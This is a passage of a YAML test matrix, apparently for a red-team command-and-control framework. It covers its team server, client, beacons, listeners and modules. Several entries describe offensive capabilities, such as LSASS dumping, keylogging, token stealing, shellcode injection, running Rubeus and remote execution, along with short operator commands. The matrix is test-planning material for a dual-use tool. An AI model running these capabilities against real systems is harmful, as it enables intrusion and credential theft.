uploaded, generated, and hosted artifacts using artifact IDs, not legacy terminal paths." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: generated} + evidence: + auto: ["C2Client/tests/test_artifact_panel.py"] + manual: ["Delete an uploaded artifact, a generated screenshot, and a hosted artifact from Artifacts tab."] + + - id: C2CLIENT-HOOKS-PANEL-001 + area: C2Client + feature: Hooks panel + scenario: "List hooks with descriptions/tooltips, activation counts, and manual start using context snapshot." + priority: high + validation: auto+manual + axes: {os: client, arch: n/a, listener: any, artifact_category: scripts} + evidence: + auto: ["C2Client/tests/test_script_panel.py"] + manual: ["Run a ManualStart hook and verify it receives beacon/listener snapshot context."] + + - id: C2CLIENT-AI-PANEL-001 + area: C2Client + feature: Data AI panel + scenario: "Render system/user/assistant markers with distinct colors and line breaks." + priority: medium + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_assistant_panel.py", "C2Client/tests/assistant_agent/test_service_bootstrap.py"] + manual: ["Open Data AI tab and verify marker colors and multiline output readability."] + + - id: C2CLIENT-MAIN-THEME-001 + area: C2Client + feature: Main layout theme + scenario: "Use consistent dark background across main layout, sessions, listeners, graph, consoles, and hooks." + priority: medium + validation: auto+manual + axes: {os: client, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["C2Client/tests/test_ui_status.py"] + manual: ["Resize the main window and inspect for stray light rectangles or unthemed panels."] + + - id: TEAMSERVER-CONFIG-DIRECTORIES-001 + area: TeamServer + feature: Runtime directory layout + scenario: "Resolve release data layout for Tools, Scripts, UploadedArtifacts, GeneratedArtifacts, hosted, Beacons, Modules, and CommandSpecs." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: ["teamServer/tests/TeamServerArtifactCatalogTests.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Inspect build/artifacts/Release/data after a clean build and download scripts."] + + - id: TEAMSERVER-STARTUP-TLS-001 + area: TeamServer + feature: Startup and TLS + scenario: "Start TeamServer with generated certificate, client auth, and readable config errors." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: n/a, listener: https, artifact_category: n/a} + evidence: + auto: ["teamServer/tests/testsTestServer.cpp"] + manual: ["Start Release TeamServer and connect C2Client over TLS."] + + - id: TEAMSERVER-COMMAND-CATALOG-001 + area: TeamServer + feature: Command catalog + scenario: "List CommandSpecs from core modules and common commands with help and argument metadata." + priority: critical + validation: auto + axes: {os: teamserver, arch: n/a, listener: n/a, artifact_category: command_specs} + evidence: + auto: ["teamServer/tests/TeamServerCommandCatalogTests.cpp", "teamServer/tests/TeamServerHelpServiceTests.cpp"] + manual: [] + + - id: TEAMSERVER-COMMAND-PREPARATION-001 + area: TeamServer + feature: Command preparation + scenario: "Prepare common commands, module commands, artifact-backed commands, shellcode-backed commands, and rejected commands." + priority: critical + validation: auto + axes: {os: teamserver, arch: any, listener: any, artifact_category: any} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: [] + + - id: TEAMSERVER-ARTIFACT-CATALOG-001 + area: TeamServer + feature: Artifact catalog + scenario: "List, filter, upload, delete, and resolve artifacts by category/platform/arch/runtime/source." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: ["teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Use C2Client Artifacts tab to filter and delete uploaded/generated/hosted artifacts."] + + - id: TEAMSERVER-GENERATED-ARTIFACTS-001 + area: TeamServer + feature: Generated artifact store + scenario: "Register generated artifacts with sidecars, hash, size, source, format, and category." + priority: critical + validation: auto + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: generated} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: [] + + - id: TEAMSERVER-HOSTED-ARTIFACTS-001 + area: TeamServer + feature: Hosted artifacts + scenario: "Host artifacts under GeneratedArtifacts/hosted and list/delete them through artifact services." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: n/a, listener: https, artifact_category: hosted} + evidence: + auto: ["teamServer/tests/TeamServerTermLocalServiceTests.cpp", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Host an artifact, fetch its URL, then delete it from Artifacts tab."] + + - id: TEAMSERVER-FILE-TRANSFER-001 + area: TeamServer + feature: File transfer service + scenario: "Prepare upload/download paths, write chunked command results, and keep command context until final success." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: any, artifact_category: generated} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run download and screenShot from a real beacon and verify a single final console result."] + + - id: TEAMSERVER-SHELLCODE-SERVICE-001 + area: TeamServer + feature: Shellcode service + scenario: "Generate shellcode artifacts from supported sources and expose generic generator metadata." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: x64, listener: n/a, artifact_category: generated} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "core/modules/AssemblyExec/tests/testsAssemblyExec.cpp", "core/modules/Inject/tests/testsInject.cpp"] + manual: ["Run assemblyExec --donut-exe and inject with a real Windows beacon."] + + - id: TEAMSERVER-LISTENER-SESSION-SERVICE-001 + area: TeamServer + feature: Listener/session service + scenario: "Stream sessions/listeners, queue commands, deduplicate responses, track modules, and route command results." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Connect multiple beacons/listeners and verify command routing in C2Client."] + + - id: TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001 + area: TeamServer + feature: Listener artifact service + scenario: "Resolve beacon binaries by target OS and arch for droppers and terminal operations." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: any, listener: any, artifact_category: beacons} + evidence: + auto: ["teamServer/tests/TeamServerListenerArtifactServiceTests.cpp"] + manual: ["Generate a dropper for Windows x64 and Linux x64 and verify selected beacon binary."] + + - id: TEAMSERVER-SOCKS-SERVICE-001 + area: TeamServer + feature: SOCKS service + scenario: "Start, list, and stop TeamServer SOCKS routes from terminal commands." + priority: medium + validation: auto+manual + axes: {os: teamserver, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: ["teamServer/tests/TeamServerSocksServiceTests.cpp"] + manual: ["Run terminal socks start/list/stop against a live beacon route."] + + - id: LIBSOCKS5-PROTOCOL-001 + area: Libraries + feature: libSocks5 protocol handling + scenario: "Negotiate SOCKS5 no-auth, accept IPv4 and hostname CONNECT, and reject unsupported commands/address types with explicit replies." + priority: high + validation: auto + axes: {os: teamserver, arch: n/a, listener: n/a, artifact_category: n/a} + evidence: + auto: ["libs/libSocks5/tests/TestsSocksServer.cpp"] + manual: [] + + - id: TEAMSERVER-SOCKS-STRESS-001 + area: TeamServer + feature: SOCKS stress + scenario: "Sustain concurrent SOCKS5 HTTP(S) requests through a bound live beacon, including hostname-mode CONNECT, and report latency/error distribution." + priority: high + validation: manual + axes: {os: teamserver, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: [] + manual: ["Run scripts/socks5_stress_test.py against a live socks start/bind route with a fixed request/concurrency target, then repeat with --socks-hostname."] + + - id: BEACON-CORE-REGISTER-001 + area: Beacon + feature: Registration and metadata + scenario: "Register hostname, username, OS, arch, privilege, process id, internal IPs, and additional information." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/beacon/tests/testBeacon.cpp", "core/beacon/tests/testBeaconHttp.cpp"] + manual: ["Launch Windows and Linux beacons and verify rows in Sessions panel."] + + - id: BEACON-CORE-HEARTBEAT-001 + area: Beacon + feature: Heartbeat and state + scenario: "Update last seen, stale state, listener proof of life, and reconnect behavior." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/beacon/tests/testBeacon.cpp", "C2Client/tests/test_session_panel.py"] + manual: ["Use low C2_SESSION_STALE_AFTER_MS and verify now/stale transitions."] + + - id: BEACON-CORE-TASK-QUEUE-001 + area: Beacon + feature: Task queue + scenario: "Receive tasks, execute common commands/modules, return command IDs, and preserve command context." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/beacon/tests/testBeacon.cpp", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run pwd, ls, help, loadModule, and download through a live beacon."] + + - id: BEACON-CORE-CHUNKED-RESULTS-001 + area: Beacon + feature: Chunked command results + scenario: "Emit recurring chunks for large results and finish with a single success response." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: generated} + evidence: + auto: ["core/modules/Download/tests/testsDownload.cpp", "core/modules/MiniDump/tests/testsMiniDump.cpp", "core/modules/ScreenShot/tests/testsScreenShot.cpp"] + manual: ["Run download of a large file and screenShot from a real beacon."] + + - id: BEACON-CORE-MODULE-LIFECYCLE-001 + area: Beacon + feature: Module lifecycle + scenario: "loadModule, unloadModule, listModule, duplicate-load rejection, and module count tracking." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: modules} + evidence: + auto: ["teamServer/tests/TeamServerListenerSessionServiceTests.cpp", "core/modules/ModuleCmd/tests/testsModuleCmd.cpp"] + manual: ["Load pwd, verify listModule, attempt duplicate load, then unload."] + + - id: LISTENER-HTTPS-001 + area: Listeners + feature: HTTPS listener + scenario: "Start listener, register beacon, exchange tasks/results, host artifacts, and stop listener." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: hosted} + evidence: + auto: ["core/beacon/tests/testBeaconHttp.cpp", "teamServer/tests/TeamServerHttpListenerTransportTests.cpp"] + manual: ["Run a full Windows x64 and Linux x64 beacon golden path over HTTPS."] + + - id: LISTENER-HTTP-001 + area: Listeners + feature: HTTP listener + scenario: "Start listener, register beacon, and exchange simple command results." + priority: high + validation: manual + axes: {os: any, arch: any, listener: http, artifact_category: n/a} + evidence: + auto: [] + manual: ["Run whoami/pwd through HTTP listener."] + + - id: LISTENER-TCP-001 + area: Listeners + feature: TCP listener + scenario: "Start TCP listener and route task/result traffic." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: tcp, artifact_category: n/a} + evidence: + auto: ["core/listener/tests/testListenerTcp.cpp", "core/beacon/tests/testBeaconTcp.cpp"] + manual: ["Run whoami/pwd through TCP listener."] + + - id: LISTENER-SMB-001 + area: Listeners + feature: SMB listener + scenario: "Start SMB listener and route task/result traffic through named pipe transport." + priority: high + validation: auto+manual + axes: {os: windows, arch: any, listener: smb, artifact_category: n/a} + evidence: + auto: ["core/listener/tests/testListenerSmb.cpp", "core/beacon/tests/testBeaconSmb.cpp"] + manual: ["Run whoami through SMB listener with a Windows beacon."] + + - id: LISTENER-DNS-001 + area: Listeners + feature: DNS listener + scenario: "Start DNS listener and route task/result traffic within DNS transport limits." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: dns, artifact_category: n/a} + evidence: + auto: ["core/listener/tests/testListenerDns.cpp", "core/beacon/tests/testBeaconDns.cpp"] + manual: ["Run small commands through DNS listener and verify no large artifact test is attempted."] + + - id: LISTENER-GITHUB-001 + area: Listeners + feature: GitHub listener + scenario: "Start GitHub listener and route task/result traffic through configured repository transport." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: github, artifact_category: n/a} + evidence: + auto: ["core/listener/tests/testListenerGithub.cpp", "core/beacon/tests/testBeaconGithub.cpp"] + manual: ["Run a simple command through GitHub listener with test credentials/repo."] + + - id: COMMON-HELP-001 + area: CommonCommands + feature: help + scenario: "List commands and show command-specific help from CommandSpec." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: command_specs} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/help.json", "teamServer/tests/TeamServerHelpServiceTests.cpp"] + manual: ["Run help and help in a beacon console."] + + - id: COMMON-SLEEP-001 + area: CommonCommands + feature: sleep + scenario: "Change beacon sleep interval and reject invalid values clearly." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/sleep.json", "core/beacon/tests/testBeacon.cpp"] + manual: ["Run sleep 1 then verify beacon polling delay changes."] + + - id: COMMON-END-001 + area: CommonCommands + feature: end + scenario: "Stop a beacon session cleanly." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/end.json", "core/beacon/tests/testBeacon.cpp"] + manual: ["Run end and verify session stops updating."] + + - id: COMMON-LISTENER-001 + area: CommonCommands + feature: listener + scenario: "Start and stop child listeners from a beacon using validated listener parameters." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: n/a} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/listener.json", "core/beacon/tests/testBeacon.cpp"] + manual: ["Run listener start tcp and listener stop from a beacon."] + + - id: COMMON-LOADMODULE-001 + area: CommonCommands + feature: loadModule + scenario: "Autocomplete unloaded modules, resolve module artifacts by OS/arch, and reject duplicates." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: modules} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/loadModule.json", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run loadModule pwd, listModule, duplicate loadModule pwd."] + + - id: COMMON-UNLOADMODULE-001 + area: CommonCommands + feature: unloadModule + scenario: "Autocomplete loaded modules and unload selected module." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: modules} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/unloadModule.json", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run unloadModule pwd after loadModule pwd."] + + - id: COMMON-LISTMODULE-001 + area: CommonCommands + feature: listModule + scenario: "List loaded modules by name and state in the beacon console." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: modules} + evidence: + auto: ["core/modules/ModuleCmd/CommandSpecs/common/listModule.json", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run listModule and verify name/status output only."] + + - id: ARTIFACT-LAYOUT-001 + area: Artifacts + feature: Release data layout + scenario: "Release scripts place files under the canonical data layout with platform and arch subfolders." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: ["docs/artifacts.md", "teamServer/tests/TeamServerArtifactCatalogTests.cpp"] + manual: ["Run clean build plus download-c2implant-artifacts.sh and download-c2linuximplant-artifacts.sh."] + + - id: ARTIFACT-TOOLS-001 + area: Artifacts + feature: Tools + scenario: "Resolve Tools// and Tools/Any/any for module preparers and terminal upload." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: tools} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Place a tool under Tools/Windows/x64 and verify autocomplete/preparer resolution."] + + - id: ARTIFACT-SCRIPTS-001 + area: Artifacts + feature: Scripts + scenario: "Resolve Scripts/Windows, Scripts/Linux, and Scripts/Any for script-backed commands." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: scripts} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run powershell -s and script with files from Scripts folder."] + + - id: ARTIFACT-UPLOADED-001 + area: Artifacts + feature: UploadedArtifacts + scenario: "Resolve operator-uploaded payloads by category, platform, arch, and Any/any fallback." + priority: high + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: uploaded} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "C2Client/tests/test_artifact_panel.py"] + manual: ["Upload a file via Artifacts tab and use it with upload and kerberosUseTicket."] + + - id: ARTIFACT-GENERATED-001 + area: Artifacts + feature: GeneratedArtifacts + scenario: "Store download, screenshot, minidump, shellcode, hosted, and future generated categories with sidecars." + priority: critical + validation: auto+manual + axes: {os: teamserver, arch: any, listener: n/a, artifact_category: generated} + evidence: + auto: ["teamServer/tests/TeamServerArtifactCatalogTests.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Generate download, screenshot, and payload artifacts and inspect Artifacts tab."] + + - id: MODULE-ASSEMBLYEXEC-CONTRACT-001 + area: Modules + feature: assemblyExec + scenario: "Generate shellcode on TeamServer from exe/dll/raw artifacts, preserve args, autocomplete artifact inputs, and execute on Windows beacon." + priority: critical + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/AssemblyExec/tests/testsAssemblyExec.cpp", "core/modules/AssemblyExec/tests/functional/testsAssemblyExecFunctional.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "C2Client/tests/test_console_panel.py"] + manual: ["Run assemblyExec --donut-exe Rubeus.exe -- on Windows x64 HTTPS beacon."] + + - id: MODULE-INJECT-CONTRACT-001 + area: Modules + feature: inject + scenario: "Prepare shellcode payload from tools/beacons/raw, support pid/spawn modes, autocomplete payload and args, and execute on Windows beacon." + priority: critical + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/Inject/tests/testsInject.cpp", "core/modules/Inject/tests/functional/testsInjectFunctional.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "C2Client/tests/test_console_panel.py"] + manual: ["Run inject --pid --donut-exe Tool.exe -- and inject with beacon payload option."] + + - id: MODULE-DOWNLOAD-CONTRACT-001 + area: Modules + feature: download + scenario: "Download remote file into GeneratedArtifacts/download/beacon using chunked output and registered sidecar." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/Download/tests/testsDownload.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run download and verify generated artifact hash/size in Artifacts tab."] + + - id: MODULE-UPLOAD-CONTRACT-001 + area: Modules + feature: upload + scenario: "Upload an UploadedArtifact to a remote path with server-controlled input resolution." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: uploaded} + evidence: + auto: ["core/modules/Upload/tests/testsUpload.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Upload an operator file in Artifacts tab, run upload , then cat/list it remotely."] + + - id: MODULE-MINIDUMP-CONTRACT-001 + area: Modules + feature: miniDump + scenario: "Dump LSASS to XORed GeneratedArtifacts/minidump/beacon output and support local decrypt helper." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/MiniDump/tests/testsMiniDump.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run miniDump dump lsass.xored as elevated Windows beacon and verify generated artifact."] + + - id: MODULE-SCREENSHOT-CONTRACT-001 + area: Modules + feature: screenShot + scenario: "Capture desktop PNG, return chunked generated screenshot artifact, and show a single final console result." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/ScreenShot/tests/testsScreenShot.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "teamServer/tests/TeamServerListenerSessionServiceTests.cpp"] + manual: ["Run screenShot desktop.png on Windows x64 HTTPS beacon and open generated PNG."] + + - id: MODULE-POWERSHELL-CONTRACT-001 + area: Modules + feature: powershell + scenario: "Execute inline commands and Scripts-backed -s payloads without sending literal -s to PowerShell." + priority: critical + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: scripts} + evidence: + auto: ["core/modules/Powershell/tests/testsPowershell.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run powershell -s testScript.ps1 and verify script output, then run powershell whoami."] + + - id: MODULE-PWSH-CONTRACT-001 + area: Modules + feature: pwSh + scenario: "Load fixed rdm.dll from Tools/Any/any and execute/import PowerShell runner commands." + priority: critical + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/PwSh/tests/testsPwSh.cpp", "core/modules/PwSh/tests/functional/testsPwShFunctional.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run pwSh init, pwSh command, and pwSh script with rdm.dll from Tools/Any/any."] + + - id: MODULE-SCRIPT-CONTRACT-001 + area: Modules + feature: script + scenario: "Execute Scripts-backed Windows/Linux scripts with server-side script artifact resolution." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: scripts} + evidence: + auto: ["core/modules/Script/tests/testsScript.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run script with a Windows script and a Linux script on matching beacons."] + + - id: MODULE-CHISEL-CONTRACT-001 + area: Modules + feature: chisel + scenario: "Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/Chisel/tests/testsChisel.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run chisel start/status/stop after placing chisel.exe under Tools/Windows/x64."] + + - id: MODULE-DOTNETEXEC-CONTRACT-001 + area: Modules + feature: dotnetExec + scenario: "Load .NET assemblies from Tools, execute loaded assemblies, and autocomplete load artifacts." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/DotnetExec/tests/testsDotnetExec.cpp", "core/modules/DotnetExec/tests/functional/testsDotnetExecFunctional.cpp", "C2Client/tests/test_console_panel.py"] + manual: ["Run dotnetExec load then execute a command from the loaded assembly."] + + - id: MODULE-PSEXEC-CONTRACT-001 + area: Modules + feature: psExec + scenario: "Resolve service executable from Tools or UploadedArtifacts, handle credentials, and execute remote service command." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/PsExec/tests/testsPsExec.cpp", "core/modules/PsExec/tests/functional/testsPsExecFunctional.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run psExec against a lab Windows host with a Tools or UploadedArtifacts service binary."] + + - id: MODULE-KERBEROSUSETICKET-CONTRACT-001 + area: Modules + feature: kerberosUseTicket + scenario: "Load kirbi ticket from UploadedArtifacts and apply it on Windows beacon." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: uploaded} + evidence: + auto: ["core/modules/KerberosUseTicket/tests/testsKerberosUseTicket.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Upload a test .kirbi file and run kerberosUseTicket ."] + + - id: MODULE-COFFLOADER-CONTRACT-001 + area: Modules + feature: coffLoader + scenario: "Load COFF object from Tools and execute with packed arguments." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: tools} + evidence: + auto: ["core/modules/CoffLoader/tests/testsCoffLoader.cpp", "teamServer/tests/TeamServerCommandPreparationServiceTests.cpp"] + manual: ["Run coffLoader with a known test COFF artifact from Tools/Windows/x64."] + + - id: MODULE-KEYLOGGER-CONTRACT-001 + area: Modules + feature: keyLogger + scenario: "Start/stop keylogger and collect key output safely." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: ["core/modules/KeyLogger/tests/testsKeyLogger.cpp"] + manual: ["Run keyLogger start/stop in lab and verify expected output behavior."] + + - id: MODULE-KEYLOGGER-GENERATED-ARTIFACT-002 + area: Modules + feature: keyLogger generated artifact + scenario: "Persist keylogger follow-up output incrementally into GeneratedArtifacts/keylogger with host/timestamp naming." + priority: medium + validation: planned + axes: {os: windows, arch: x64, listener: https, artifact_category: generated} + evidence: + auto: [] + manual: ["Planned feature from TODO; validate after implementation."] + + - id: MODULE-REVERSEPORTFORWARD-CONTRACT-001 + area: Modules + feature: reversePortForward + scenario: "Start/stop reverse port forwarding and emit recurring traffic chunks." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/ReversePortForward/tests/testsReversePortForward.cpp"] + manual: ["Open a reverse port forward through a live beacon and verify bidirectional traffic."] + + - id: MODULE-SIMPLE-FILESYSTEM-001 + area: Modules + feature: Simple filesystem modules + scenario: "Validate cat, cd, ls, mkdir, remove, tree, pwd, upload, download, and path error handling." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: any} + evidence: + auto: ["core/modules/Cat/tests/testsCat.cpp", "core/modules/ChangeDirectory/tests/testsChangeDirectory.cpp", "core/modules/ListDirectory/tests/testsListDirectory.cpp", "core/modules/MkDir/tests/testsMkDir.cpp", "core/modules/Remove/tests/testsRemove.cpp", "core/modules/Tree/tests/testsTree.cpp", "core/modules/PrintWorkingDirectory/tests/testsPrintWorkingDirectory.cpp"] + manual: ["Run pwd, ls, cd, cat, mkDir, remove, tree, upload, and download on Windows and Linux beacons."] + + - id: MODULE-SIMPLE-SYSTEM-001 + area: Modules + feature: Simple system info/process modules + scenario: "Validate whoami, getEnv, ipConfig, netstat, ps/listProcesses, killProcess, shell, and run." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Whoami/tests/testsWhoami.cpp", "core/modules/GetEnv/tests/testsGetEnv.cpp", "core/modules/IpConfig/tests/testsIpConfig.cpp", "core/modules/Netstat/tests/testsNetstat.cpp", "core/modules/ListProcesses/tests/testsListProcesses.cpp", "core/modules/KillProcess/tests/testsKillProcess.cpp", "core/modules/Shell/tests/testsShell.cpp", "core/modules/Run/tests/testsRun.cpp"] + manual: ["Run whoami, getEnv, ipConfig, netstat, ps, killProcess on a safe dummy PID, shell, and run."] + + - id: MODULE-WINDOWS-EXEC-001 + area: Modules + feature: Windows remote execution modules + scenario: "Validate cimExec, dcomExec, sshExec, winRm, and wmiExec parameter validation plus functional remote execution where available." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/CimExec/tests/testsCimExec.cpp", "core/modules/CimExec/tests/functional/testsCimExecFunctional.cpp", "core/modules/DcomExec/tests/testsDcomExec.cpp", "core/modules/DcomExec/tests/functional/testsDcomExecFunctional.cpp", "core/modules/SshExec/tests/testsSshExec.cpp", "core/modules/SshExec/tests/functional/testsSshExecFunctional.cpp", "core/modules/WinRM/tests/testsWinRM.cpp", "core/modules/WinRM/tests/functional/testsWinRMFunctional.cpp", "core/modules/WmiExec/tests/testsWmiExec.cpp", "core/modules/WmiExec/tests/functional/testsWmiExecFunctional.cpp"] + manual: ["Run one controlled lab command for each available remote execution method."] + + - id: MODULE-WINDOWS-PRIVILEGE-001 + area: Modules + feature: Windows privilege/token modules + scenario: "Validate makeToken, stealToken, rev2self, spawnAs, and related error handling." + priority: high + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/MakeToken/tests/testsMakeToken.cpp", "core/modules/StealToken/tests/testsStealToken.cpp", "core/modules/Rev2self/tests/testsRev2self.cpp", "core/modules/SpawnAs/tests/testsSpawnAs.cpp", "core/modules/SpawnAs/tests/functional/testsSpawnAsFunctional.cpp"] + manual: ["Run token operations in a lab VM with known local users and safe target process."] + + - id: MODULE-WINDOWS-ADMIN-001 + area: Modules + feature: Windows admin modules + scenario: "Validate registry, taskScheduler, evasion, enumerateShares, and enumerateRdpSessions." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Registry/tests/testsRegistry.cpp", "core/modules/TaskScheduler/tests/testsTaskScheduler.cpp", "core/modules/TaskScheduler/tests/functional/testsTaskSchedulerFunctional.cpp", "core/modules/Evasion/tests/testsEvasion.cpp", "core/modules/Evasion/tests/functional/testsEvasionFunctional.cpp", "core/modules/EnumerateShares/tests/testsEnumerateShares.cpp", "core/modules/EnumerateRdpSessions/tests/testsEnumerateRdpSessions.cpp", "core/modules/EnumerateRdpSessions/tests/functional/testsEnumerateRdpSessionsFunctional.cpp"] + manual: ["Run read-only registry/query/enumeration commands and one safe task scheduler create/delete cycle."] + + - id: MODULE-CAT-CONTRACT-001 + area: Modules + feature: cat + scenario: "Read a remote file and report readable errors for missing paths." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Cat/tests/testsCat.cpp"] + manual: ["Run cat on an existing and missing file on Windows/Linux golden paths."] + + - id: MODULE-CD-CONTRACT-001 + area: Modules + feature: cd + scenario: "Change current working directory and reject invalid paths clearly." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/ChangeDirectory/tests/testsChangeDirectory.cpp"] + manual: ["Run cd into an existing directory, then pwd, then cd to a missing path."] + + - id: MODULE-LS-CONTRACT-001 + area: Modules + feature: ls + scenario: "List remote directory contents with stable formatting and path error handling." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/ListDirectory/tests/testsListDirectory.cpp"] + manual: ["Run ls on default directory, explicit directory, and missing directory."] + + - id: MODULE-MKDIR-CONTRACT-001 + area: Modules + feature: 